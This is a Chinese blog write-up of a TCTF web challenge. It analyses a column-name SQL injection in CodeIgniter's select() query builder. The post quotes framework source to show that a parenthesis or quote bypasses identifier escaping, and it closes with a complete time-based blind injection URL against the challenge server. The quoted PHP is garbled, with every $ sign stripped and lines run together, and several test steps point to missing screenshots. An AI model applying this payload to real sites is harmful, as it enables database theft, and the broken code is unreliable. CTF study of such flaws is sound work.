CI框架下column注入

TCTF Web有大量的审计题,其中有很多有趣又get到新姿势的。其中有一道关于CI框架下的注入的问题。

    具体注入点在CI的select()中,查看官方文档,我们知道,select()函数选中一个列名,然后经过处理拼接到sql语句中,而这个处理本身来说就存在着问题。

    而关于列名的注入,本身来说有一定的鸡肋性质,开发者一般都不会让用户可控列名。

    但是有些时候,开发者会偷懒定义一些奇怪的路由设定个API,将其中的关键词提取出来当作列名,比如user表中有id字段,对应的路由规则就是 http://xxxxxx/user/id/1.xxx 如果没有对user进行处理直接放入select就会导致注入。

  

    首先看一下select函数/system/database/DB_query_builder.php

   

public function select(select = '*', escape = NULL)
	{
		if (is_string(select))  		{  			select = explode(',', select);  		}  		//var_dump(select);
		// If the escape value was not set, we will base it on the global setting
		is_bool(escape) OR escape = this->_protect_identifiers;    		foreach (select as val)  		{  			val = trim(val);    			if (val !== '')
			{
				this->qb_select[] = val;
				this->qb_no_escape[] = escape;

				if (this->qb_caching === TRUE)  				{  					this->qb_cache_select[] = val;  					this->qb_cache_exists[] = 'select';
					this->qb_cache_no_escape[] = escape;
				}
			}
		}
		//var_dump(this->qb_select);  		return this;
		
	}

 

 可以看到直接把结果存在qb_select数组中,所有这样的变量在最后语句执行时,被拼接起来形成sql语句。

所以,这里没有做任何处理,接下来看下(最终执行sql语句的函数)get()

/system/database/DB_query_builder.php

	public function get(table = '', limit = NULL, offset = NULL)  	{  		if (table !== '')
		{
			this->_track_aliases(table);
			this->from(table);
		}

		if ( ! empty(limit))  		{  			this->limit(limit, offset);
		}

		result = this->query(this->_compile_select());  		this->_reset_select();
		return $result;
	}

这里也没有对刚才所说的数组进行处理,还要继续跟踪,看下_compile_select

贴一下关键位置

foreach (this->qb_select as key => val)  				{  					no_escape = isset(this->qb_no_escape[key]) ? this->qb_no_escape[key] : NULL;
					
					this->qb_select[key] = this->protect_identifiers(val, FALSE, no_escape);  					  				}  				  				sql .= implode(', ', $this->qb_select);

escape默认是1,紧接着把提取出来的非sql关键词带入到protect_identifiers进行转义简化

public function protect_identifiers(item, prefix_single = FALSE, protect_identifiers = NULL, field_exists = TRUE)
	{
		if ( ! is_bool(protect_identifiers))  		{  			protect_identifiers = this->_protect_identifiers;  		}    		if (is_array(item))
		{
			escaped_array = array();  			foreach (item as k => v)
			{
				escaped_array[this->protect_identifiers(k)] = this->protect_identifiers(v, prefix_single, protect_identifiers, field_exists);
			}
			//var_dump(escaped_array);  			return escaped_array;
		}

		// This is basically a bug fix for queries that use MAX, MIN, etc.
		// If a parenthesis is found we know that we do not need to
		// escape the data or add a prefix. There's probably a more graceful
		// way to deal with this, but I'm not thinking of it -- Rick
		//
		// Added exception for single quotes as well, we don't want to alter
		// literal strings. -- Narf
		if (strcspn(item, "()'") !== strlen(item))
		{
			return item;  		}    		// Convert tabs or multiple spaces into single spaces  		item = preg_replace('/\s+/', ' ', trim(item));    		// If the item has an alias declaration we remove it and set it aside.  		// Note: strripos() is used in order to support spaces in table names  		if (offset = strripos(item, ' AS '))  		{  			alias = (protect_identifiers)  				? substr(item, offset, 4).this->escape_identifiers(substr(item, offset + 4))
				: substr(item, offset);
			item = substr(item, 0, offset);  		}  		elseif (offset = strrpos(item, ' '))  		{  			alias = (protect_identifiers)  				? ' '.this->escape_identifiers(substr(item, offset + 1))
				: substr(item, offset);
			item = substr(item, 0, offset);  		}  		else  		{  			alias = '';
		}

		// Break the string apart if it contains periods, then insert the table prefix
		// in the correct location, assuming the period doesn't indicate that we're dealing
		// with an alias. While we're at it, we will escape the components
		if (strpos(item, '.') !== FALSE)  		{  			parts = explode('.', item);    			// Does the first segment of the exploded item match  			// one of the aliases previously identified? If so,  			// we have nothing more to do other than escape the item  			//  			// NOTE: The ! empty() condition prevents this method  			//       from breaking when QB isn't enabled.  			if ( ! empty(this->qb_aliased_tables) && in_array(parts[0], this->qb_aliased_tables))
			{
				if (protect_identifiers === TRUE)  				{  					foreach (parts as key => val)
					{
						if ( ! in_array(val, this->_reserved_identifiers))
						{
							parts[key] = this->escape_identifiers(val);
						}
					}

					item = implode('.', parts);
				}

				return item.alias;
			}

			// Is there a table prefix defined in the config file? If not, no need to do anything
			if (this->dbprefix !== '')  			{  				// We now add the table prefix based on some logic.  				// Do we have 4 segments (hostname.database.table.column)?  				// If so, we add the table prefix to the column name in the 3rd segment.  				if (isset(parts[3]))
				{
					i = 2;  				}  				// Do we have 3 segments (database.table.column)?  				// If so, we add the table prefix to the column name in 2nd position  				elseif (isset(parts[2]))
				{
					i = 1;  				}  				// Do we have 2 segments (table.column)?  				// If so, we add the table prefix to the column name in 1st segment  				else  				{  					i = 0;
				}

				// This flag is set when the supplied item does not contain a field name.  				// This can happen when this function is being called from a JOIN.  				if (field_exists === FALSE)
				{
					i++;  				}    				// Verify table prefix and replace if necessary  				if (this->swap_pre !== '' && strpos(parts[i], this->swap_pre) === 0)  				{  					parts[i] = preg_replace('/^'.this->swap_pre.'(\S+?)/', this->dbprefix.'\\1', parts[i]);  				}  				// We only add the table prefix if it does not already exist  				elseif (strpos(parts[i], this->dbprefix) !== 0)
				{
					parts[i] = this->dbprefix.parts[i];  				}    				// Put the parts back together  				item = implode('.', parts);  			}    			if (protect_identifiers === TRUE)
			{
				item = this->escape_identifiers(item);  			}    			return item.alias;  		}    		// Is there a table prefix? If not, no need to insert it  		if (this->dbprefix !== '')
		{
			// Verify table prefix and replace if necessary
			if (this->swap_pre !== '' && strpos(item, this->swap_pre) === 0)  			{  				item = preg_replace('/^'.this->swap_pre.'(\S+?)/', this->dbprefix.'\\1', item);  			}  			// Do we prefix an item with no segments?  			elseif (prefix_single === TRUE && strpos(item, this->dbprefix) !== 0)
			{
				item = this->dbprefix.item;  			}  		}    		if (protect_identifiers === TRUE && ! in_array(item, this->_reserved_identifiers))
		{
			item = this->escape_identifiers(item);  		}    		return item.$alias;
	}

如果匹配到()'其中任意字符,直接返回原部分语句;

trim处理

匹配到AS则把$item去掉最后面的AS及AS之后的部分,AS之后的部分做escape_identifiers处理

匹配到空格把最后的空格及其后面的部分拿出来从item去掉并做escape_identifiers处理

item做escape_identifiers处理与前面的alias拼接返回

跟踪一下escape_identifiers

关键语句

preg_replace('/'.preg_ec[0].'?([^'.preg_ec[1].'\.]+)'.preg_ec[1].'?(\.)?/i', preg_ec[2].'1'.preg_ec[3].'2', item);

把item用重音符包裹,测试一下如下:(item 是 name%20from%20flash%20union%20select ,alias是aa,前面只做了一次空格校验)

这个`无法闭合,因为`会被正则检测出来并在其后加上`。

回到前面,发现

strcspn函数,在php中进行匹配,只要检测到有相同部分,就停止检测,例如下面

所以,只要我们包含(、)、'任意一个就可以在protect_identifiers处理前直接return......

可以正确执行,但是因为最后显示结果使用的是

所以不能拿到结果,要盲注,测试一下sleep()

可以执行。

原题还过滤了大小于号,逗号等字符,所以最终的payload

http://ctf28.challenge10.0ops.net/fish/case%20when%20ascii(substr((1)from(1)for(1)))=49%20then%20sleep(2)%20else%201%20end%20from%20dual%20where%20(1=1)%20union%20select%20info%20/0.tctf

  • 用支付宝打我
  • 用微信打我

发表评论

电子邮件地址不会被公开。 必填项已用*标注